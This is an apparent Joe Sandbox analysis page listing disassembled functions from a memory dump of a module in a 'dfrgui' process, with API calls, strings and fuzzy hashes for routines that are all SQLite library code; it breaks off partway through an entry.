Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_create_function$sqlite3_freesqlite3_mutex_enter$sqlite3_mutex_leave$memcmpsqlite3_closesqlite3_configsqlite3_errcodesqlite3_initializesqlite3_malloc64
String ID: BINARY$NOCASE$RTRIM$`1a$fts3$fts4$fts5$fts5vocab$h,a$porter$rtree$rtree_i32$simple$unicode61
API String ID: 1097977795-3723990393
Opcode ID: 34542269ac24add44832506ab8adc97a24ce565a994c45d636892361de556e6e
Instruction ID: 04396e4e8c081e79777a81cb76cfc5092588615b200e9ca745df3807d6096530
Opcode Fuzzy Hash: 34542269ac24add44832506ab8adc97a24ce565a994c45d636892361de556e6e
Instruction Fuzzy Hash: FE7206B0A083428BE700DF69C49534ABBE1BF95708F25CC2DE8999B395D779C845CB82

Uniqueness

Uniqueness Score: -1.00%

Function 61E19553 Relevance: 7.5, APIs: 5, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,61EAE400,?,61E19320,?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E1956D
sqlite3_vfs_register.SQLITE3 ref: 61E19583

Part of subcall function 61E194F0: sqlite3_initialize.SQLITE3(?,?,61E19588), ref: 61E194FB
Part of subcall function 61E194F0: sqlite3_mutex_enter.SQLITE3(?,?,61E19588), ref: 61E19513
Part of subcall function 61E194F0: sqlite3_mutex_leave.SQLITE3(?), ref: 61E19545

sqlite3_vfs_register.SQLITE3 ref: 61E19597
sqlite3_vfs_register.SQLITE3 ref: 61E195AB
sqlite3_vfs_register.SQLITE3 ref: 61E195BF

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_vfs_register$InfoSystemsqlite3_initializesqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 3532963230-0
Opcode ID: af9367acd9bb657ed331947dda9311c1f067872b8ef6359b94e462143c9243d0
Instruction ID: 6d0d412f49644ea53ed79f6f68b23b94a644fcacb4ad3fcd9eba45d30bda88e5
Opcode Fuzzy Hash: af9367acd9bb657ed331947dda9311c1f067872b8ef6359b94e462143c9243d0
Instruction Fuzzy Hash: 23F0F9B0548641ABD700AFA9C18675FBBE5AFC2708F22C82CD4858B295C7B5C8448B93

Uniqueness

Uniqueness Score: -1.00%

Function 61E48A10 Relevance: 41.0, APIs: 21, Strings: 2, Instructions: 760stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61E48A4C
sqlite3_free.SQLITE3 ref: 61E48B68
sqlite3_free.SQLITE3 ref: 61E48BC8
sqlite3_free.SQLITE3 ref: 61E48BBA

Part of subcall function 61E0A119: sqlite3_mutex_enter.SQLITE3 ref: 61E0A138

sqlite3_mutex_enter.SQLITE3 ref: 61E48BEB
sqlite3_mutex_enter.SQLITE3 ref: 61E48BFF
strcmp.MSVCRT ref: 61E48C31
sqlite3_mutex_leave.SQLITE3 ref: 61E48C84
sqlite3_mutex_leave.SQLITE3 ref: 61E48C92
sqlite3_free.SQLITE3 ref: 61E48C9A
sqlite3_free.SQLITE3 ref: 61E48CA8
sqlite3_mutex_leave.SQLITE3 ref: 61E48CE2
sqlite3_free.SQLITE3 ref: 61E48CEA
sqlite3_free.SQLITE3 ref: 61E4956C
sqlite3_free.SQLITE3 ref: 61E4957A
sqlite3_mutex_leave.SQLITE3 ref: 61E495C7

Strings

@, xrefs: 61E48B01
-journal, xrefs: 61E4900D

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_mutex_leave$sqlite3_mutex_enter$strcmp
String ID: -journal$@
API String ID: 42632313-41206085
Opcode ID: 40c689dc1cc61a3de58058952e5f429362b20efe2b2a30fe5884249aaa52c7a5
Instruction ID: fad57ea04c3ed1a2a289cc891a4be8110211e8b1c2718681ceb6113754037920
Opcode Fuzzy Hash: 40c689dc1cc61a3de58058952e5f429362b20efe2b2a30fe5884249aaa52c7a5
Instruction Fuzzy Hash: 29820574A04259CFEB20CF68C984B89BBF1BF49308F2981E9D858AB352D774D985CF51

Uniqueness

Uniqueness Score: -1.00%

Function 61E19104 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E1913B
sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E212EB), ref: 61E1916F
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E1922D
sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E1923A
sqlite3_malloc.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E192CE
sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E212EB), ref: 61E192F4
sqlite3_free.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E19316
sqlite3_os_init.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E1931B
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E193F7
sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E19402
sqlite3_mutex_free.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E1941E
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E19433
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E19447

Strings

`Aa, xrefs: 61E192E5

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_leave$sqlite3_mutex_enter$sqlite3_config$sqlite3_freesqlite3_mallocsqlite3_mutex_freesqlite3_os_init
String ID: `Aa
API String ID: 1590227068-4150638200
Opcode ID: 3dc21433d400701e44026c1dc62b4f0183e2b2090de9d18710cf785c8c7a32fa
Instruction ID: b8cb39d1aa9a75ed5e5362b64b399c3cfccd9f63d9053fb2d41c374444a4c4a7
Opcode Fuzzy Hash: 3dc21433d400701e44026c1dc62b4f0183e2b2090de9d18710cf785c8c7a32fa
Instruction Fuzzy Hash: EB813E70A58A458FEF049FA9C4853597AF1BFCA319F24882ED844DB394EB79C8C5CB11

Uniqueness

Uniqueness Score: -1.00%

Function 61E3E688 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 296
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sqlite3_free.SQLITE3 ref: 61E3E700

Part of subcall function 61E3E3A1: sqlite3_free.SQLITE3 ref: 61E3E413

sqlite3_win32_is_nt.SQLITE3 ref: 61E3E72D
sqlite3_free.SQLITE3 ref: 61E3E792
sqlite3_free.SQLITE3 ref: 61E3E79D
sqlite3_win32_is_nt.SQLITE3 ref: 61E3E812
CreateFileW.KERNEL32 ref: 61E3E852
sqlite3_free.SQLITE3 ref: 61E3E98D
sqlite3_free.SQLITE3 ref: 61E3E998

Part of subcall function 61E189F3: sqlite3_win32_sleep.SQLITE3 ref: 61E18A4B

sqlite3_free.SQLITE3 ref: 61E3EA2C
sqlite3_free.SQLITE3 ref: 61E3EA37
sqlite3_uri_boolean.SQLITE3 ref: 61E3EA75

Strings

winOpen, xrefs: 61E3E9DB

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_win32_is_nt$CreateFilesqlite3_uri_booleansqlite3_win32_sleep
String ID: winOpen
API String ID: 1995518269-2556188131
Opcode ID: 2433654a142791891781cac68bed4388ded419e5e0d7d29fd9d0943fb19c1bd9
Instruction ID: 90af8dfd4577a76acb09c138b1361f2ecc4fcac60cf97447081b4db11295945f
Opcode Fuzzy Hash: 2433654a142791891781cac68bed4388ded419e5e0d7d29fd9d0943fb19c1bd9
Instruction Fuzzy Hash: C5D1B5749047598FEB10DFAAC48578EBBF0BF84358F248929E8A49B390E774D985CF41

Uniqueness

Uniqueness Score: -1.00%

Function 61E642B1 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

sqlite_master, xrefs: 61E642C9
sqlite_temp_master, xrefs: 61E642CF
unsupported file format, xrefs: 61E64470
attached databases must use the same text encoding as main database, xrefs: 61E64406
Va, xrefs: 61E642FA

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID: Va$attached databases must use the same text encoding as main database$sqlite_master$sqlite_temp_master$unsupported file format
API String ID: 0-1175239378
Opcode ID: f5fa7c1be61233e57696f3a6f84755a70697a207930041fbbaf071b09d031384
Instruction ID: 93b59210f787bba4d718a7916ed7ffc49a752ed9f319999632f18046b431d1aa
Opcode Fuzzy Hash: f5fa7c1be61233e57696f3a6f84755a70697a207930041fbbaf071b09d031384
Instruction Fuzzy Hash: 8FA11174A443498BEB10CFA9C490B8DBBF5BF89318F60C56ED868AB355D734E845CB81

Uniqueness

Uniqueness Score: -1.00%

Function 61E41A63 Relevance: 8.0, APIs: 4, Strings: 1, Instructions: 464
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 61E13FAA: sqlite3_mutex_try.SQLITE3(?,?,?,61E1402A), ref: 61E13F4A

memcmp.MSVCRT ref: 61E41BB6
memcmp.MSVCRT ref: 61E41C02
memcmp.MSVCRT ref: 61E41C8A
memcmp.MSVCRT ref: 61E41EC5

Strings

0, xrefs: 61E41EAB

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: memcmp$sqlite3_mutex_try
String ID: 0
API String ID: 2794522359-4108050209
Opcode ID: b40f6e538b8f0b04e2242111901c35f0d3ac3950cb2c7f33ea6feeba81fb13a6
Instruction ID: ad066da3eee73bf1192e979285553922ddeee5aa2cf31c0f95315944b97c264a
Opcode Fuzzy Hash: b40f6e538b8f0b04e2242111901c35f0d3ac3950cb2c7f33ea6feeba81fb13a6
Instruction Fuzzy Hash: 69128A70A042458FEF15CFA8E484799BBF1BF88308F24C1A9D855DB396E774E896CB50

Uniqueness

Uniqueness Score: -1.00%

Function 61E64B10 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sqlite3_strnicmp.SQLITE3 ref: 61E64B82

Part of subcall function 61E04223: sqlite3_stricmp.SQLITE3 ref: 61E04258

Strings

no such table, xrefs: 61E64D07
no such view, xrefs: 61E64D0C

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_stricmpsqlite3_strnicmp
String ID: no such table$no such view
API String ID: 456569458-301769730
Opcode ID: 378c4d14444fbddb170a93b06ed421545e41578179949f3a243ed110ebec3f76
Instruction ID: 7cdf25bb30b9c9dd2eb5023db15eb566dabc622bbdaff7711f9e7c07361ce5a0
Opcode Fuzzy Hash: 378c4d14444fbddb170a93b06ed421545e41578179949f3a243ed110ebec3f76
Instruction Fuzzy Hash: D0612574B043469BEB04CFA8C4A075ABBF5BF99348F64C82EE8699B354D734D841CB91

Uniqueness

Uniqueness Score: -1.00%

Function 61E23DE7 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 61E23E97

Strings

winRead, xrefs: 61E23EDA

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: FileRead
String ID: winRead
API String ID: 2738559852-2759563040
Opcode ID: 699cdfbc135b3443815dc916025ce5228ff21ff9415388ad0f34fca2444ef200
Instruction ID: 2a01e1fe44df80eaee3282d5dac42feed0a5c240c128c2012f7475d0b22193d0
Opcode Fuzzy Hash: 699cdfbc135b3443815dc916025ce5228ff21ff9415388ad0f34fca2444ef200
Instruction Fuzzy Hash: 6441E375A003599BCF04DFA8D89058EBBF2FF88314F25852AF869A7344D730E9568F91

Uniqueness

Uniqueness Score: -1.00%

Function 61E10F19 Relevance: 3.1, APIs: 2, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E10F58
sqlite3_mutex_leave.SQLITE3 ref: 61E11000

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 1477753154-0
Opcode ID: d8ebcc908aa62e7fc97b4d17e27821b9c60942c315853f9de0b31af3f9893062
Instruction ID: 86538fc627c54d925dcd47611d8193b0673bcc57cc095effbd2c286c8c14f183
Opcode Fuzzy Hash: d8ebcc908aa62e7fc97b4d17e27821b9c60942c315853f9de0b31af3f9893062
Instruction Fuzzy Hash: A821A131E18F508BDB009FBAC88635D7AF1BB8A319F25892EE414C7394E775C8D58B41

Uniqueness

Uniqueness Score: -1.00%

Function 61E23FDB Relevance: 3.0, APIs: 2, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 61E23FEB
sqlite3_log.SQLITE3 ref: 61E24017

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: mallocsqlite3_log
String ID:
API String ID: 2785431543-0
Opcode ID: f08ea4ef2bc967041590ca38efeb938d017deab71da1e65acc777e30af070951
Instruction ID: 18c3f87e9ed8ef538eb54458e92fdbd9b46ad25a46ba29652b5fc8f0ba0fca1c
Opcode Fuzzy Hash: f08ea4ef2bc967041590ca38efeb938d017deab71da1e65acc777e30af070951
Instruction Fuzzy Hash: 8CF0C9B1C0930A9BDB009FA5C9D5A1DBBE4AB45348F54C86ED9894F351D23AE9C0CB52

Uniqueness

Uniqueness Score: -1.00%

Function 61E14545 Relevance: 1.6, APIs: 1, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sqlite3_free.SQLITE3 ref: 61E145A0

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free
String ID:
API String ID: 2313487548-0
Opcode ID: 7f7cea7cef2ba8ea961828c611947be7be1389695d99ccc4130f707361d7da3e
Instruction ID: f50be9ba5c1b0c2911c29155d2826de08197b922455dcdf0975d1099d5082c20
Opcode Fuzzy Hash: 7f7cea7cef2ba8ea961828c611947be7be1389695d99ccc4130f707361d7da3e
Instruction Fuzzy Hash: 69416D729092258BDF058FA9C4813DA7BE0AF8874CF19827ACC19AF349D775D941CBA0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 61E274A1 Relevance: 10.7, APIs: 7, Instructions: 247COMMON

Download Yara Rule

APIs

sqlite3_value_int.SQLITE3 ref: 61E274F6
sqlite3_value_bytes.SQLITE3 ref: 61E27516
sqlite3_value_blob.SQLITE3 ref: 61E27523
sqlite3_value_text.SQLITE3 ref: 61E2753A
sqlite3_value_int.SQLITE3 ref: 61E2758A
sqlite3_result_text64.SQLITE3 ref: 61E276DA
sqlite3_result_blob64.SQLITE3 ref: 61E27734

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_int$sqlite3_result_blob64sqlite3_result_text64sqlite3_value_blobsqlite3_value_bytessqlite3_value_text
String ID:
API String ID: 3992148849-0
Opcode ID: cdbb6ea1e6542cf43c30bf3fefd700a6c6400adbad9e12c780b5c545ad40c72e
Instruction ID: aadb831bf2c816ccb74864488e9a6df9becc9d63084df94e6c6d8c3340ce1173
Opcode Fuzzy Hash: cdbb6ea1e6542cf43c30bf3fefd700a6c6400adbad9e12c780b5c545ad40c72e
Instruction Fuzzy Hash: 01919675E0465A8FDB15CFACC8A069DBBF1BF99324F29C229E86497390D730D842CB51

Uniqueness

Uniqueness Score: -1.00%

Function 61E35BE2 Relevance: 7.8, APIs: 5, Instructions: 346COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E35C87
sqlite3_realloc64.SQLITE3 ref: 61E35CB7
sqlite3_malloc64.SQLITE3 ref: 61E35E62
sqlite3_free.SQLITE3 ref: 61E35EE4
sqlite3_malloc64.SQLITE3 ref: 61E35F3E

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
